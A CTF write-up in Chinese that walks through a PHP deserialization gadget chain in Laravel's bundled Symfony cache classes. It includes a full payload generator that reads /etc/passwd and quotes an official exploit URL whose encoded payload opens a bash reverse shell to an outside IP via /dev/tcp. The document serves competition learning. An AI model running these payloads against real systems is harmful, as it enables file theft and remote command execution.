国赛决赛laravel的另一种不完美做法

2019-07-30 约 519 字 预计阅读 3 分钟

声明:本文 【国赛决赛laravel的另一种不完美做法】 由作者 f1ight 于 2019-07-30 09:03:00 首发 先知社区 曾经 浏览数 121 次

感谢 f1ight 的辛苦付出!

全国网安竞赛web09另一个exp

前言

这道题因为非预期的日志文件,直接给出了payload,但是由于我自己没看到,自己找了好久好久,2333,发现自己的POP链和出题师傅的点有点不太一样,故发出来分享下自己的POP链挖掘思路

题目代码

public function index(\Illuminate\Http\Request $request){
        $payload=$request->input("payload");
        if(empty($payload)){
            highlight_file(__FILE__);
        }else{
            @unserialize($payload);
        }
    }

代码很简单,很明显是让找POP链,最后能读取文件即可

ROP链挖掘

既然直接给了一个unserialize,其他的什么都没有,所以首先考虑魔法函数__destruct

那么我们在全局搜索一下__destruct

可以发现有很多匹配的结果,没办法了,硬着头皮看吧

找了很久,终于发现了一处__destruct可以利用一下,但是有一些限制

TagAwareAdapter类

这个类里面有一个__destruct方法,调用了commit方法

public function __destruct()
    {
        $this->commit();
    }

之后commit方法又调用了invalidateTags这个方法

public function commit()
    {
        return $this->invalidateTags([]);
    }

我们跟进invalidateTags这个方法看看

public function invalidateTags(array $tags)
    {
        $ok = true;
        $tagsByKey = [];
        $invalidatedTags = [];
        foreach ($tags as $tag) {
            CacheItem::validateKey($tag);
            $invalidatedTags[$tag] = 0;
        }

        if ($this->deferred) {
            $items = $this->deferred;

            foreach ($items as $key => $item) {
                if (!$this->pool->saveDeferred($item)) {
                    unset($this->deferred[$key]);
                    $ok = false;
                }
            }

            $f = $this->getTagsByKey;
            $tagsByKey = $f($items);
            $this->deferred = [];
        }

        $tagVersions = $this->getTagVersions($tagsByKey, $invalidatedTags);
        $f = $this->createCacheItem;

        foreach ($tagsByKey as $key => $tags) {
            $this->pool->saveDeferred($f(static::TAGS_PREFIX.$key, array_intersect_key($tagVersions, $tags), $items[$key]));
        }
        $ok = $this->pool->commit() && $ok;

        if ($invalidatedTags) {
            $f = $this->invalidateTags;
            $ok = $f($this->tags, $invalidatedTags) && $ok;
        }

        return $ok;
    }

要注意的是,我们可以控制整个TagAwareAdapter类中的成员变量,所以我们可以控制所有的$this->xxx这样子的变量。

在这一段代码中

foreach ($items as $key => $item) {
                if (!$this->pool->saveDeferred($item)) {
                    unset($this->deferred[$key]);
                    $ok = false;
                }
            }

我们可以发现,我们可以调用任意一个实现了saveDeferred方法的类,所以我们可以找到这些类

第一个很尴尬的POP链

在刚开始的时候,我找的是ProxyAdapter这个类,为什么呢

public function saveDeferred(CacheItemInterface $item)
    {
        return $this->doSave($item, __FUNCTION__);
    }


private function doSave(CacheItemInterface $item, $method)
    {
        if (!$item instanceof CacheItem) {
            return false;
        }
        $item = (array) $item;
        if (null === $item["\0*\0expiry"] && 0 < $item["\0*\0defaultLifetime"]) {
            $item["\0*\0expiry"] = microtime(true) + $item["\0*\0defaultLifetime"];
        }
        if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"]) {
            $innerItem = $item["\0*\0innerItem"];
        } elseif ($this->pool instanceof AdapterInterface) {
            // this is an optimization specific for AdapterInterface implementations
            // so we can save a round-trip to the backend by just creating a new item
            $f = $this->createCacheItem;
            $innerItem = $f($this->namespace.$item["\0*\0key"], null);
        } else {
            $innerItem = $this->pool->getItem($this->namespace.$item["\0*\0key"]);
        }

        ($this->setInnerItem)($innerItem, $item);

        return $this->pool->$method($innerItem);
    }

我们只要传入的$item是一个CacheItem类型,就可以进到下面的if条件中

看到一句代码了吗$innerItem = $f($this->namespace.$item["\0*\0key"], null);,这一句代码中:

  1. $f这个变量是来自于$this->createCacheItem,我们可控
  2. $item["\0*\0key"]这个变量,来自于上面的$item = (array) $item;

    这里有一个很有意思的点,如果一个对象被强行转换为array的时候,他里面的属性会变成这个样子:

  3. 所以说,$item数组我们是完全可以控制的
  4. 所以说,这里我们可以调用第二个参数可以是null的方法,可惜的是,虽然file_get_contents第二个参数可以为null,但是并没有回显,有点尴尬(有师傅知道这一点可以利用吗)

柳暗花明又一村

既然这个不行,那我们就换一个呗,毕竟那么多实现了saveDeferred方法的类

但是,虽然那么多的类,但是能用来利用的只能找到一个:PhpArrayAdapter类

我们看一下这个类中的saveDeffer方法

public function saveDeferred(CacheItemInterface $item)
    {
        if (null === $this->values) {
            $this->initialize();
        }

        return !isset($this->keys[$item->getKey()]) && $this->pool->saveDeferred($item);
    }

进入到initialize这个方法,发现在本类中并没有定义,而是在一个trait这个关键词修饰的类中trait PhpArrayTrait

看一下trait这个关键词的用法

trait

这个关键词是php为了解决单继承的问题而特意建立的,在java这种面向对象的语言中,继承都是单继承的,一个类只能继承一个父类,这样确实体现了面向对象的思想,但是单继承在有的时候不是很方便

我们通过phpstorm的继承图生成可以清楚的看到PhpArrayAdapter这个类的继承关系

那么在本类中没有定义initialize这个方法的话,自然就会去父类中寻找,我们来看看父类的initialize方法:

private function initialize()
    {
        if (!file_exists($this->file)) {
            $this->keys = $this->values = [];

            return;
        }
        $values = (include $this->file) ?: [[], []];

        if (2 !== \count($values) || !isset($values[0], $values[1])) {
            $this->keys = $this->values = [];
        } else {
            list($this->keys, $this->values) = $values;
        }
    }

我们可以在PhpArrayAdapter中定义好$this->file这个变量,那么在调用initialize方法的时候,只要这个file是一个存在的文件,就会调用include来包含进去,最后就可以读取到flag了

出题人的官方的POP链可以直接做到命令执行,tql

最后的payload:

<?php
namespace Symfony\Component\Cache{

    use Symfony\Component\Cache\Adapter\ProxyAdapter;

    final class CacheItem{
        protected $key;
        protected $value;
        protected $isHit = false;
        protected $expiry;
        protected $defaultLifetime;
        protected $metadata = [];
        protected $newMetadata = [];
        protected $innerItem;
        protected $poolHash;
        protected $isTaggable = false;
        public function __construct()
        {
            $this->expiry = 'sjdjfkas';
            $this->poolHash = '123';
            $this->key = '';
        }
    }
}
namespace Symfony\Component\Cache\Adapter{

    use Symfony\Component\Cache\CacheItem;
    use Symfony\Component\Ldap\Adapter\ExtLdap\Adapter;
    class PhpArrayAdapter{
        private $file;
        public function __construct()
        {
            $this->file = '/etc/passwd';
        }
    }

    class ProxyAdapter{
        private $namespace;
        private $namespaceLen;
        private $createCacheItem;
        private $setInnerItem;
        private $poolHash;
        private $pool;
        public function __construct()
        {
            $this->pool = new ChainAdapter();
            $this->createCacheItem = 'call_user_func';
            $this->namespace = 'phpinfo';
        }
    }
    class TagAwareAdapter{
        private $deferred = [];
        private $createCacheItem;
        private $setCacheItemTags;
        private $getTagsByKey;
        private $invalidateTags;
        private $tags;
        private $knownTagVersions = [];
        private $knownTagVersionsTtl;
        private $pool;

        public function __construct()
        {
            $this->deferred = array('flight' => new CacheItem());
            $this->pool = new PhpArrayAdapter();
        }
    }
}

namespace {

    use Symfony\Component\Cache\Adapter\TagAwareAdapter;

    $obj = new TagAwareAdapter();
    echo urlencode(serialize($obj));
}

读取/etc/passwd

官方exp

http://localhost/pop_chain/laravel/public/index.php/index?payload=O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A2%3A%7Bs%3A57%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00deferred%22%3Ba%3A1%3A%7Bi%3A1%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A3%3A%7Bs%3A12%3A%22%00%2A%00innerItem%22%3Bs%3A45%3A%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F115.159.184.127%2F9998%200%3E%261%22%3Bs%3A11%3A%22%00%2A%00poolHash%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00%2A%00expiry%22%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A53%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00pool%22%3BO%3A44%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%22%3A2%3A%7Bs%3A58%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00setInnerItem%22%3Bs%3A6%3A%22system%22%3Bs%3A54%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00poolHash%22%3Bs%3A1%3A%221%22%3B%7D%7D";}s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}}

这道题还是很有意思的,出题师傅的这个非预期有点难受,laravel,yii这些框架都有日志记录的。

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now